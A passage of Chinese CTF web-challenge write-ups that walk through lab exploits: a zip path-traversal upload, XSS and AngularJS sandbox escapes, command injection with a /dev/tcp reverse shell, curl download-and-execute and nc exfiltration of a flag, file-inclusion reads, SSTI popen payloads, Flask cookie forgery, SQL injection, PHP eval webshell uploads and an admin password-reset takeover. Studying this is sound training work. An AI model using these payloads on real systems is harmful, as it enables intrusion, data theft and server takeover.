ctf之WEB练习二

题目名称:从0到1CTFer成长之路-Web文件上传
题目wirteup:
启动题目场景,获得题目靶场,访问网站,发现是一个文件上传漏洞,并且源代码也显示出来。
http://eci-2zead4wngyl8hacgmm4n.cloudeci1.ichunqiu.com/
源代码大概如下分析:
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
//会包含文件pclzip.lib.php,感觉这个php里面是有一些针对zip包进行解压等的操作的
require_once('pclzip.lib.php');
//要是没上传文件,就输出上传页面
if(!$_FILES){
echo '省略的HTML'
    show_source(__FILE__);
}else{
    $file = $_FILES['file'];
//限制上传的文件名不为空
    if(!$file){
        exit("请勿上传空文件");
    }
    $name = $file['name'];
    $dir = 'upload/';
//strrchr($name, '.') 
//strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
//比如上传的文件名为$name=1.php.txt,这里strrchr($name, '.') 执行结果为.txt
//substr(strrchr($name, '.'), 1)
//substr字符串截取,从下标为1开始截取,那就是把点略过,截取后为txt
//通过strtolower函数将所有字符转换为小写,赋值给ext变量
    $ext = strtolower(substr(strrchr($name, '.'), 1));
//如果我们上传的文件名为1.txt,那么path变量就为upload/1.txt
    $path = $dir.$name;
//检查是否为目录
    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                 }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f);
                    }
                }
            }
        }
    }
//创建目录    
    if(!is_dir($dir)){
        mkdir($dir);
    }
//将目录名拼接一个随机数,读到这里,基本上就知道需要路径穿越了,因为我们不知道随机数值,所以就算绕过上传,解析也是一大关
    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir);
    }
//首先进行后缀的校验,把刚刚拿到的,最后一个.后面的字符串和这里的zip、jpg、gif、png进行对比校验
    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){   //使用白名单校验,只允许zip、jip、gif、png 上传
        if($ext == 'zip'){  //如果使用zip 上传,下面就是zip解压流程规则
//使用PclZip进行解压缩        
            $archive = new PclZip($file['tmp_name']);
//遍历解压缩后的每个目录            
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
//一段较为简单的正则,就是匹配每个文件结尾的位置,是否是.php  ,如果是则退出解压程序            
                if(preg_match('/\.php$/', $filename)){
                     exit("压缩包内不允许含有php文件!");
                 }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir);
                   exit("解压失败");
            }
            check_dir($dir);
            exit('上传成功!');
        }else{
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}
大概代码是需要将php文件先压缩成zip文件压缩包,然后绕过路经检测,通过路径穿越将文件放到指定目录,然后访问上传的文件名
如果将解压出的文件穿越到非upload目录,check__dir方法就无法删除该文件。zip压缩包被解压到/upload/随机md5/目录下,所以需要穿越两个目录,由于我们上传的路径目录是upload/随机值/上传的文件,需要穿越两层,直到根目录下,一层随机目录,一层upload
所以需要文件名为…/…/file.php,由于需要构造解析,利用apache的解析漏洞,如果从右开始,直到哪个能识别就解析哪个,构造最终文件名为../../hhhh.php.xxx,这个文件名长度为18位
windows操作系统下,右键创建文件,文件名随便写一个18位的(跟刚刚的文件名位数一样),这里是把后缀涵盖的,例如:123456789012345678
然后我用的WinRar,右键添加到zip
接下来就开始用010 Editor进行zip文件的编辑,我们分别将char frFileName[18]修改为hhhh.php.xxx和char deFileName[18]修改为../../hhhh.php.xxx
,然后保存压缩文件
对压缩文件进行上传成功后,会进行自动解压缩
然后访问以下路径,即可获得flag
http://eci-2zead4wngyl8hacgmm4n.cloudeci1.ichunqiu.com/hhhh.php.xxx
最终flag:
n1book{ThisIsUpLoadToPicfl4g}
题目名称:从0到1CTFer成长之路-XSS闯关
题目wirtup:
启动题目场景,获得题目靶场,访问网站,发现是一个通关的XSS游戏获取flag

     
     

     
     
第一关,输入常规的XSS poc: <img src=x onerror=alert(0)> 即可进入下一关
第二关,输入测试<xss>poc,查看源代码,发现没有过滤<和>,然后对其进行闭合标签即可
这里通过输入';alert(0);//,即可进入下一关
http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level2?username=12';alert(0);//
第三关,输入上一关的poc: ';alert(0);//  发现单引号被转义成/'
这里通过再次输入一个单引号,即可绕过一个单引号的转义,最终poc:12'';alert(0);//  提交,即可进入下一关
http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level3?username=12'';alert(0);//
第4关,查看源代码发现有一个自动跳转的变量jumpUrl
代码中接收jumpUrl作为跳转url,伪链接javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行,即可进入下一关。
http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level4?jumpUrl=javascript:alert(0)
第五关,表单中直接输入一个测试数字,提交
发现现实错误
查看源代码,发现有JS 2条IF判断条件限制着。

 限制1:


      
      
if(getQueryVariable('autosubmit') !== false){

      
      
绕过限制:

autosubmit=1

限制2


      
      
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');

      
      
绕过限制:

      
      
action=javascript:alert(0)

同样是传值,只不过是传我们的注入语句,提交完整payload:/level5?autosubmit=1&action=javascript:alert(0)

即可进入下一关。

http://eci-2ze4s8hmmy8zzvishpc5.cloudeci1.ichunqiu.com/level5?autosubmit=1&action=javascript:alert(0)
输一个一个测试<xss>发现<和>已经被转义了
查看源代码,发现该关题目使用的AngularJS
点击https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js,发现AngularJS版本为1.4.6
 也可以通过chrome的Wapplayzer插件进行查看
我们的Angular版本是1.4.6,低于1.6版本,那么存在沙箱,利用逃逸沙箱POC:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
访问上面的沙箱poc,即可进入下一关。
下一关显示了flag的内容
最终flag:
n1book{xss_is_so_interesting}
题目名称:从0到1CTFer成长之路-死亡之ping

题目内容:

路由器管理台经常存在的网络ping测试,开发者常常会禁用大量的恶意字符串,试试看如何绕过呢?

题目writeup:
启动题目场景,获得靶场,访问网站,并输入测试ping  127.0.0.1,发现可以成功,但是没有回显到页面上。
http://eci-2zed552151f9re6faxx2.cloudeci1.ichunqiu.com/
该题目存在一些黑名单过滤的,这里输入一个测试符号&,提交,显示ip包含恶意字符。
这里通过bupsuit的intruder进行fuzz 常用的键盘符号。
常用的fuzz 键盘符号:
~
`
#
#!
|
'
"
$
.
!
%
@
°
*
(
((
&
[
[[
{
=
+
-
_
\
/
:
;
<
>
,
?
^
<>
&&
||
fuzz出这些符号:+  /  =  <      >    ,?  <>   没有被过滤
通过%0a,表示换行,并能连接新的一条命令进行执行(不能在浏览器中直接提交%0a,否则会自动转换成url编码提交会报错),因此建议在 burp中抓包后修改提交请求.
首先在测试%0als,是可以执行成功,证明%0a可以绕过执行
ip=127.0.0.1%0als
这里直接测试下bash反弹,发现有特殊的字符(如&已经被拦截了)是反弹不成功的
ip=127.0.0.1%0abash -i >& /dev/tcp/36.xx.xx.223:8080 0>&1
在公网主机vps上编写flag.sh脚本内容如下:
ls
cat  /FLAG | nc 192.168.1.5  2333
并且在公网主机VPS上使用python搭建http服务,端口为80(一定是80端口),如果使用其他端口,则使用curl下载的时候需要用到:端口号访问, :符号则在被拦截范围中。
python -m SimpleHTTPServer  80
使用curl命令从vps 主机下载flag.sh到靶机系统中的tmp目录下,一般tmp目录具有可读写权限。
ip=127.0.0.1%0acurl  36.xx.xx.223/flag.sh > /tmp/flag.sh 
使用chmod命令远程修改已下载的flag.sh文件的可读写执行权限
ip=127.0.0.1%0achmod 777 /tmp/flag.sh
通过sh命令远程执行靶机中的flag.sh脚本
ip=127.0.0.1%0ash  /tmp/flag.sh 
vps本地监听,且nc反弹出来靶机中的输出命令信息的内容包含了flag
最终flag:
n1book{6fa82809179d7f19c67259aa285a7729}
题目名称:从0到1CTFer成长之路--afr_3
题目witeup:
访问靶机网站,这里输入测试 test内容,发现页面回显也显示test
http://eci-2ze6rqbmu4jlf86hemsa.cloudeci1.ichunqiu.com/
猜测是存在ssti注入,这里输入测试{{7+7}},页面显示+被过滤,也没相加执行,显然猜测是错误的。
继续访问article超链接,看起来像参数存在文件包含或者sql注入漏洞
http://eci-2ze6rqbmu4jlf86hemsa.cloudeci1.ichunqiu.com/article?name=article
这里通过bupsuit进行fuzz测试常用的文件包含,可以看到在../../etc/passwd路径读取系统的passwd
猜测flag在系统的根目录下,于是然后尝试读取一下根目录下的flag,但是提示没有权限
tps:
常用的环境变量配置读取:
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version  # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ #  程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd     # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
尝试读取系统当前运行那些程序并且查看进程,这里fuzz  /proc/self/cmdline读取系统进程,最终遍历到目录../../../proc/self/cmdline读取,成功执行并回显:python server.py,说明该题应该是一个python的环境
又根据以往经验尝试读取../../../app/server.py 和../../../server.py都不能读取
尝试读取系统环境,这里fuzz  /proc/self/environ 读取系统环境变量,最终遍历到目录../../../proc/self/environ读取,成功执行并回显出server.py的路径为/home/sssssserver和flag信息
提交flag发现出错,证明不是真正的flag
于是读取/home/sssssserver/server.py,成功读取到其源码
../../../home/sssssserver/server.py
回显出来的源码通过html decode 后得到server.py:
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e
    return render_template('article.html', template=template)
if __name__ == "__main__":
    app.run(host='0.0.0.0',port=80, debug=False)
对其源码进行审计发现,flag在flag.py中。还发现确实存在模板注入,虽然下面这语句存在过滤
if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
同时又发现flask函数的中存在key.py,而appkey又在key.py中,但是此处任意文件读取漏洞被过滤了关键词flag
下面语句存在ssti模板注入,模板渲染的内容就是n1code,但是其实n1code的来源可以是session,前提是可以伪造flask的cookie。
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
于是读取key.py
../../../proc/self/cwd/key.py 
成功读取到appkey:
key = 'Drmhze6EPcv0fN_81Bj-nA'
使用 flask-session-cookie-manager 进行生成伪造cookie:
$ git clone https://github.com/noraj/flask-session-cookie-manager.git && cd flask-session-cookie-manager
$ python3 setup.py install
下面通过 flask_session_cookie_manager3.py直接生成加密的cookie:
python3  flask_session_cookie_manager3.py   encode -s "Drmhze6EPcv0fN_81Bj-nA" -t  "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
生成的加密的cookie值:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YQ6_6A.Uv6wMG2nUKf-4u_HURW3HRKGMp8
通过伪造cookie,即可获得flag
最终flag:
n1book{afr_3_solved}
题目名称:从0到1 CTFer成长之路--afr_2
题目writeup:
打开靶机网站,发现是一张图片
查看源代码,发现有图片路径
访问图片路径的根目录,可以看到,看起来像目录遍历
http://eci-2ze39wd1b4km7p6s56t6.cloudeci1.ichunqiu.com/img/
或者通过御剑目录扫描工具,也可以扫描到img目录
尝试在img 目录后加上../,即可返回到上层目录,并可以遍历到flag文件
下载flag文件,可以看到包含了flag内容
最终flag:
n1book{afr_2_solved}
题目名称:从0到1 CTFer成长之路--afr_1
题目writeup:
访问靶机网站,发现输入的参数?p=hello,在页面中显示hello world,靶机路径出现这样的参数?p=测可能存在任意文件包含漏洞
尝试任意文件包含读取/etc/passwd,发现没有显示出来,猜测可能被过滤了
http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=../../../etc/passwd
尝试任意文件包含读取flag.php,页面还是显示空白,也有可能被过滤
http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=php://filter/read=convert.base64-encode/resource=flag.php
尝试任意文件包含读取flag,页面有显示,但是并没有显示出flag
http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=falg
联想到php中可以是用php://fiter读取flag,可以正常读取出内容,且内容是base64加密的(但是读取 flag.php的时候显示空白,理论上是可以读取,猜测这里可能题目后面的参数变量会自动加上.php)
http://eci-2ze8zoog6qcqj933081i.cloudeci1.ichunqiu.com/?p=php://filter/read=convert.base64-encode/resource=flag
读取出来的内容为:PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
通过在线base64解密网站对其进行解密,发现是一段php代码,代码注释中就包含了flag内容
最终flag:
n1book{afr_1_solved}
题目名称:从0到1 CTFer成长之路--SQL注入-2
题目writeup:
打开靶机题目网站,发现有2个连接
其中lonin.php连接是一个登陆页面
另外一个user.php,发现没任何内容
方法一:
登陆窗口处,猜测账号文本框中可能存在注入,下面尝试测试是否存在注入
post:
name=admin'&pass=123
发现页面报错,存在SQL注入
测试SQL语句的闭合符号#,这里#通过URL编码为%23
name=admin'%23&pass=123
发现页面显示正常,说明#是该SQL语句的闭合符号
测试SQL注入存在的字段数
name=admin'order by 3%23&pass=123  #先测试3个字段,页面显示正常
name=admin'order by 4%23&pass=123         #再测试4个字段,页面显示错误
那么SQL注入中存在3个字段数
通过union selcet联合查询语句查询字段回显位置
name=admin'union select 1,2,3%23&pass=123
发现页面报错,可能union select语句被过滤导致的错误
将selcet 关键字修改为大写的SELECT,提交,发现页面正常显示,说明select大写可以绕过过滤
name=admin'union SELECT 1,2,3%23&pass=123
既然联合查询语句无法进行注入,这里尝试通过updatexml报错函数进行查询,下面报错查询出数据库的版本
name=admin'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)%23&pass=123
报错查询出数据库的版本为:5.5.64-MariaDB-1ubuntu0.14.04.1
报错查询出用户名
name=admin' and updatexml(1,concat(0x7e,(select user()) ,0x7e),1)%23&pass=123
用户名:root@localhost~
报错查询出当前数据库名
name=admin'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)%23&pass=123
数据库名为:note
报错查询出当前数据库note的表名
name=admin'and  updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))from  information_schema.tables where table_schema=database())),1)%23&pass=123
爆出表名:fl4g,users
爆出查询出flag表名的字段名
name=admin'and  updatexml(1,concat(0x7e,  (SELECT(group_concat(column_name))from  information_schema.columns  where table_name='fl4g')),1)%23&pass=123
字段名:flag
报错查询出flag字段的内容
name=admin'and     updatexml(1,concat(0x7e,(SELECT(flag)from fl4g)),1)%23&pass=123
方法二:
这里通过sqlmap进行注入,先输入登录用户名和密码,然后通过bupsuit抓包,保存为data.txt 
data.txt:
POST http://eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com/login.php HTTP/1.1
Host: eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com
Connection: keep-alive
Content-Length: 18
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com
Referer: http://eci-2ze6rqbmu4jlnm27n4ea.cloudeci1.ichunqiu.com/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; UM_distinctid=17b2110c14b348-029ed0a4395d2d-6373264-144000-17b2110c14c5c3; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1628347352; ci_session=d301e818ba1f28f834072b3fa9b2502add07fee6; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1628391371; __jsluid_h=977e36203f386ae8a9f4be9791a4a1fe; PHPSESSID=3o3l3jdhc6ftjdbc9ga601bo14
name=admin&pass=12
通过sqlmap探测网站是否存在注入
python sqlmap.py  -r   data.txt
发现当前靶机网站存在布尔和时间盲注注入
sqlmap爆出当前数据库名
python sqlmap.py  -r   data.txt  - - current - db
爆出的数据库名:note
sqlmap列出note数据库所有的表名
python sqlmap.py  -r   data.txt    - D note - - tables
爆出表名:fl4g,users
sqlmap 列出flag表名的所有列名
python sqlmap.py  -r   data.txt    - D note - T fl4g - - columns
爆出列名:flag
sqlmap 打印输出flag列名字段值的数据
python sqlmap.py  -r   data.txt    - D note - T fl4g - C flag - - dump
最终  flag:
n1book{login_sqli_is_nice}
题目名称:从0到1 CTFer成长之路--SQL注入-1
题目writeup:
访问网站靶机,页面可以正常显示一段内容
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1
猜测id变量存在sql 注入,这里加入单引号,发现页面和正常页面不一样,说明是存在注入的
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1'
通过#结束注入语句闭合,发现页面显示正常,这里#在浏览器中以url编码输入。
字段查询
使用order by 语句测试字段3不报错,4报错,证明有3个字段
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1' order by 3%23

            
            
字段回显查询
发现在2,3位置有回显,这里id=1要变成-1,因为1的时候,只把查到的第一条显示出来,因此需要输入-1,显示回显全部。
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,2,3%23
数据库查询
联合查询出数据库名为note
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union select 1,database(),3%23
表名查询
查询出note数据库的表名为:fl4g和notes
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1' union  select  1,group_concat(table_name),3  from  information_schema.tables where  table_schema='note' %23
字段查询
查询出f14g表的字段名为fllllag
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1'  union select 1,group_concat(column_name),3  from  information_schema.columns  where table_name='fl4g' %23
查询字段内容
查询出fllllag字段的内容为: n1book{union_select_is_so_cool}
http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=-1'union select 1,group_concat(fllllag),3  from fl4g %23

           
           
方法二:
sqlmap方法:

获取注入点

sqlmap  -u  "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1"

获取数据库名,发现存在note数据库名

sqlmap  -u  "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1" --dbs

3.获取news数据库名中的表名为fl4g和notes表名

sqlmap  -u  "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1"  --tables  -D note

4.获取secret_talbes表中的字段,得到fllll4g字段

sqlmap  -u  "http://eci-2ze4gccxm5o3mdt8tky7.cloudeci1.ichunqiu.com/index.php?id=1" -D note  -T fl4g --columns

5.获取字段fl4g内容,得到flag

sqlmap -u  http://111.200.241.244:53198   --data "search=1"   -D note  -T fl4g -C "fllllag"  --dump
最终flag:
n1book{union_select_is_so_cool}
题目名称:从0到1 CTFer成长之路--粗心的小李
题目writeup:
访问靶场网站,页面内容中传递出该题目和git泄露有关
http://eci-2ze687nrysk8eas2z6vo.cloudeci1.ichunqiu.com/
使用GitHack.py进行扫描,并获得index.html
http://eci-2ze687nrysk8eas2z6vo.cloudeci1.ichunqiu.com/.git/
python  GitHack.py  
打开index.html,页面内容中包含了flag
最终flag:
n1book{git_looks_s0_easyfun}
题目名称:从0到1 CTFer成长之路--常见的搜集

题目内容:一共3部分flag

题目writeup:
访问靶机网站,页面内容显示了关键内容为“敏感文件”那么应该与文件目录有关了。并且根据题目内容描述, flag是三部分组成的。
http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/
这里通过dirsearch进行目录扫描
python3  dirsearch.py  -u http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/
访问robots.txt路径,得到flag1的内容,为flag第一部分。
flag1的内容: flag1:n1book{info_1

访问路径index.php~ ,得到flag2的内容,为flag第二部分
http://eci-2ze6rqbmu4jlw7u2bugo.cloudeci1.ichunqiu.com/index.php~
flag2的内容:flag2:s_v3ry_im
访问路径.index.php.swp ,得到flag3的内容,为flag第三部分
flag3的内容:flag3:p0rtant_hack}
三部分flag组合一起,最终flag:
n1book{info_1s_v3ry_imp0rtant_hack}

题目名称:ics-07
题目描述:工控云管理系统项目管理页面解析漏洞
题目writeup:
启动题目场景,获得靶机网站,访问网站如下
http://111.200.241.244:50888/

          
          
根据题目描述,点击业务管理,在页面中发现有vier-soue超链接,点击链接进入发现有三块PHP源代码。
http://111.200.241.244:50888/index.php?page=flag.php

          
          
主要代码分析如下
 <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    } //第一块PHP代码分析:参数 page 存在 且 参数page不等于index.php.才包含flag.php,那么参数?page=flag.php就会进行文件包含
    ?>

    <?php
     if ($_SESSION['admin']) { //如果session["admin"]为True
       $con = $_POST['con']; //con参数变量以 post提交
       $file = $_POST['file']; //file参数变量以 post提交
       $filename = "backup/".$file; //目录为假目录,传入file时,文件名后加上一个.

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ \
//$filename正则过滤匹配规则为:过滤了.文件以及.php或者php3、php4、php5、php5、pht、phtml等文件,可通过上传文件名如为sell.php\.或者shell.php\1.php\.绕过

          die("Bad file extension");
       }else{
            chdir('uploaded'); //这里切换了路径,真实的路径在 uploaded下
           $f = fopen($filename, 'w'); //上传以$filename文件名
           fwrite($f, $con); //$con为写入的文件的内容
           fclose($f);
       }
     }

// 第二块php代码分析:如果$_SESSION['admin'] = True,那么POST提交con和file两个参数,且将$con 的内容写到$file中,并对$filename进行正则判断,如果判断正确文件会被上传到uploaded/backup目录下。


     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>
/*
第三块代码分析:
首先使$_SESSION['admin'] = True,需要获取一个id参数, 并且id不为1,且最后一位等于9。
floatval()用于获取变量的浮点数值,不能用于数组或对象,这里存在弱类型比较,floatval()后的值为浮点型且不完全等于1, substr要求最后一位是9,那么只要传入id=1+任意字符+9即可绕过

*/

首先我们要得到admin的session的条件,满足以下2个条件:

1.page为flag.php满足第一块php代码

2.使用id=1-9来绕过第三块PHP代码过滤

构造payload:?page=flag.php&id=1-9

http://111.200.241.244:50888/index.php?page=flag.php&id=1-9
需要对if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))进行绕过,正则的话是判断.之后的字符,因此我们可以利用/.的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的,如shell.php/.可绕过。
或者双文件名绕过,如c.php/b.php/..  也就是访问b.php的父目录,也就是 c.php ,其中 .. 代表当前目录的父目录 , .代表当前目录
我们要写入一句话木马,以post方式传文件,post变量file为文件名,con为文件内容,且传入的文件名为上文中2种之一的绕过文件方法。
然后上传路径原本在根目录下的/backup/目录下面,由于加了个chdir()函数,因此将根目录后面加上了/uploaded/目录,然后在跟/backup/目录
最后的上传目录为:
/uploaded/backup/
构造payload:
con=<?php @eval($_POST[bk]) ?>&file=shell.php/.
或者
con=<?php @eval($_POST[bk]) ?>&file=c.php/b.php/..

http://111.200.241.244:50888/index.php?page=flag.php&id=1-9

post:

con=<?php @eval($_POST[bk]) ?>&file=shell.php/.

由于chdir(‘uploaded’)改变目录为uploaded,又加上backup/shell.php拼接,所以目录为最终的上传目录为uploaded/backup/shell.php
http://111.200.241.244:50888/uploaded/backup/
通过蚁剑连接一句话,并对进行flag查找
最终flag:
cyberpeace{2a8cb8444abeb5af640714b9a0e3f9b7}
题目名称:Confusion1
题目描述:某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)
题目writeup:
启动题目场景,获得靶机网站,访问网站,页面显示了一张图片,蛇缠住了大象,猜测此系统使用了php+python(php的标志是大象,Python的标志是蛇)
http://111.200.241.244:63580/
           
           
进入注册和登录链接,均都显示404页面报错
http://111.200.241.244:63580/login.php
http://111.200.241.244:63580/register.php
分别对注册和登录页面源码查看,发现源码注释中都包含了flag的位置
view-source:http://111.200.241.244:63580/register.php
view-source:http://111.200.241.244:63580/login.php

猜测本题存在Python SSTI漏洞,验证一下,在url后面添加{{2+2}},回车

http://111.200.241.244:63580/login.php/{{2+2}},

界面返回2,我们输入的1+1被执行了,说明服务器执行了{{}}里面这一段代码,存在SSTI漏洞

这里猜测使用的是 Python 的 Flask 框架( Flask 使用 Jinja2 作为模板引擎 ) ,所以本题的思路就是利用SSTI读取flag文件。

我们尝试使用经典payload直接读取flag:

发现页面显示“nope,find another way"说明系统进行了过滤

http://111.200.241.244:63580/login.php/''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()

页面显示“DO NOT JIAOSHI,YOU CAN NOT USE IT!"应该也被过滤了。
尝试{{config}}
页面显示了request方法可用
http://111.200.241.244:63580/login.php/%7B%7Bconfig%7D%7D
经过尝试,发现系统过滤了class、 subclasses、 read等关键方法,但是并未过滤request方法:

request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " ,所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。

{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。

payload如下:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
            
            
http://111.200.241.244:63580/login.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
最终flag:
cyberpeace{30c9bf8b508298a2ba7c2493e6545f52}
题目名称:bug
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现是一个登录页面,而且有注册页面和密码修改页面、
http://111.200.241.244:63880/index.php?module=login
这里注册一个测试账号test
http://111.200.241.244:63880/index.php?module=register
测试账号可以成功登陆
参数输入admin1账号,密码任意,提示用户名不存在
再参数输入用户名 admin,密码任意,发现密码不正确
根据账号返回的信息提示,可知道系统中存在admin账号
尝试对test账号进行密码修改
http://111.200.241.244:63880/index.php?module=findpwd
发现可以成功修改密码
http://111.200.241.244:63880/index.php?module=findpwd&step=1&doSubmit=yes
同时对修改密码处进行抓包,将test账号修改成admin,成功将admin的密码修改为123456
使用admin账号和密码123456登陆系统,进入Manage选项时
http://111.200.241.244:63880/index.php
提示IP Not allowed!,猜测需要使用127.0.0.1访问
